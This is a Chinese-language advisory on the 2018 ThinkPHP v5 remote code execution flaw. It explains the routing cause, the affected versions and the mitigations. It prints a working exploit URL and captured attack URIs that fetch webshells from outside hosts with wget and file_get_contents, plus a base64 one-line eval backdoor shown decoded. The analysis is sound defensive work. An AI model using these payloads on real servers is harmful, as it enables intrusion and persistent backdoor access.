ThinkPHP v5 新漏洞攻击案例首曝光,阿里云已可告警并拦截
字数 1476 2025-08-29 08:31:35

ThinkPHP v5 远程代码执行漏洞分析与防护指南

漏洞概述

2018年12月10日,ThinkPHP v5系列框架曝出一个严重的远程代码执行漏洞(RCE),该漏洞由于框架对控制器名没有进行足够的安全检测导致。攻击者可以构造特定请求,在未开启强制路由的情况下直接执行任意代码,获取服务器权限。

受影响版本

  • ThinkPHP v5.0系列 < 5.0.23
  • ThinkPHP v5.1系列 < 5.1.31

漏洞原理深度分析

路由解析缺陷

漏洞根源在于ThinkPHP框架的路由解析机制存在安全隐患:

  1. parseUrlPath函数问题

    • 位于/thinkphp/library/think/Route.php
    • 该函数调用path函数解析pathinfo中的路由信息
    • 使用/切分URL时未进行任何过滤
  2. pathinfo获取问题

    • 位于/thinkphp/library/think/Request.php
    • 通过$_GET['s']获取pathinfo参数
    • 攻击者可利用此可控参数注入恶意命令
  3. 控制器实例化问题

    • 位于/thinkphp/library/think/Loader.php
    • controller方法调用parseModuleAndClass直接解析$name
    • 当$name包含反斜杠\时直接作为方法和类实例化
    • 攻击者可构造特定命名空间和类名来执行任意方法

漏洞利用链

攻击者利用链如下:

  1. 通过s参数控制pathinfo
  2. 构造包含\think\app\invokefunction的特殊请求
  3. 利用call_user_func_array调用危险函数
  4. 通过vars参数传递执行命令

漏洞复现

在ThinkPHP v5.0.22环境中,攻击者可构造如下URL执行命令:

http://target/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls

这将执行ls命令并返回结果。

真实攻击案例分析

阿里云态势感知捕获到多种攻击方式,主要分为以下几类:

1. 下载Webshell

攻击URI示例

/admin.php?s=admin/think\app/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]=wget+-O+help.php+http%3a%2f%2ftzrj.host.smartgslb.com%2fhelp.php.txt

攻击流程

  1. 使用shell_exec执行wget命令
  2. 从远程服务器下载Webshell后门文件
  3. 攻击者通过Webshell获得服务器控制权

2. 文件操作写入Webshell

攻击URI示例

/?s=admin/\think\app/invokefunction&function=call_user_func_array&vars[0]=assert&vars[1][]=file_put_contents('content.php',file_get_contents('http://jzy1115.host3v.vip'));

攻击流程

  1. 使用file_get_contents获取远程Webshell内容
  2. 使用file_put_contents写入本地文件
  3. 创建可执行PHP后门

3. 直接写入一句话木马

攻击URI示例

/admin.php?s=admin/\think\app/invokefunction&function=call_user_func_array&vars[0]=assert&vars[1][]=file_put_contents('./vendor/autoclass.php',base64_decode('PD9waHAgJHBhc3M9JF9QT1NUWyczNjB2ZXJ5J107ZXZhbCgkcGFzcyk7Pz4='))

解码后内容

<?php $pass=$_POST['360very'];eval($pass);?>

漏洞影响范围

  • 约10%的网站使用受影响版本的ThinkPHP框架
  • 主要影响行业:电子商务、金融服务、互联网游戏等
  • 攻击趋势在漏洞曝光后呈暴增态势

防护措施

1. 官方修复方案

升级至安全版本:

  • ThinkPHP v5.0.23
  • ThinkPHP v5.1.31

2. 临时缓解措施

  • 开启强制路由配置
  • 禁用危险函数如systemshell_execassert
  • 限制$_GET['s']参数的输入

3. 阿里云防护方案

  • 使用阿里云态势感知进行攻击检测
  • 部署WAF产品拦截攻击请求
  • 启用云防火墙规则

总结

ThinkPHP v5系列框架的此漏洞危害严重,攻击者可轻易获取服务器权限。建议所有使用ThinkPHP框架的用户立即检查版本并及时升级。对于无法立即升级的系统,应采取严格的输入过滤和函数禁用措施,同时部署专业的安全防护产品。

参考链接

  • 漏洞详情:https://blog.thinkphp.cn/869075
ThinkPHP v5 远程代码执行漏洞分析与防护指南 漏洞概述 2018年12月10日,ThinkPHP v5系列框架曝出一个严重的远程代码执行漏洞(RCE),该漏洞由于框架对控制器名没有进行足够的安全检测导致。攻击者可以构造特定请求,在未开启强制路由的情况下直接执行任意代码,获取服务器权限。 受影响版本 ThinkPHP v5.0系列 < 5.0.23 ThinkPHP v5.1系列 < 5.1.31 漏洞原理深度分析 路由解析缺陷 漏洞根源在于ThinkPHP框架的路由解析机制存在安全隐患: parseUrlPath函数问题 : 位于 /thinkphp/library/think/Route.php 该函数调用path函数解析pathinfo中的路由信息 使用 / 切分URL时未进行任何过滤 pathinfo获取问题 : 位于 /thinkphp/library/think/Request.php 通过 $_GET['s'] 获取pathinfo参数 攻击者可利用此可控参数注入恶意命令 控制器实例化问题 : 位于 /thinkphp/library/think/Loader.php controller 方法调用 parseModuleAndClass 直接解析$name 当$name包含反斜杠 \ 时直接作为方法和类实例化 攻击者可构造特定命名空间和类名来执行任意方法 漏洞利用链 攻击者利用链如下: 通过 s 参数控制pathinfo 构造包含 \think\app\invokefunction 的特殊请求 利用 call_user_func_array 调用危险函数 通过 vars 参数传递执行命令 漏洞复现 在ThinkPHP v5.0.22环境中,攻击者可构造如下URL执行命令: 这将执行 ls 命令并返回结果。 真实攻击案例分析 阿里云态势感知捕获到多种攻击方式,主要分为以下几类: 1. 下载Webshell 攻击URI示例 : 攻击流程 : 使用 shell_exec 执行 wget 命令 从远程服务器下载Webshell后门文件 攻击者通过Webshell获得服务器控制权 2. 文件操作写入Webshell 攻击URI示例 : 攻击流程 : 使用 file_get_contents 获取远程Webshell内容 使用 file_put_contents 写入本地文件 创建可执行PHP后门 3. 直接写入一句话木马 攻击URI示例 : 解码后内容 : 漏洞影响范围 约10%的网站使用受影响版本的ThinkPHP框架 主要影响行业:电子商务、金融服务、互联网游戏等 攻击趋势在漏洞曝光后呈暴增态势 防护措施 1. 官方修复方案 升级至安全版本: ThinkPHP v5.0.23 ThinkPHP v5.1.31 2. 临时缓解措施 开启强制路由配置 禁用危险函数如 system 、 shell_exec 、 assert 等 限制 $_GET['s'] 参数的输入 3. 阿里云防护方案 使用阿里云态势感知进行攻击检测 部署WAF产品拦截攻击请求 启用云防火墙规则 总结 ThinkPHP v5系列框架的此漏洞危害严重,攻击者可轻易获取服务器权限。建议所有使用ThinkPHP框架的用户立即检查版本并及时升级。对于无法立即升级的系统,应采取严格的输入过滤和函数禁用措施,同时部署专业的安全防护产品。 参考链接 : 漏洞详情:https://blog.thinkphp.cn/869075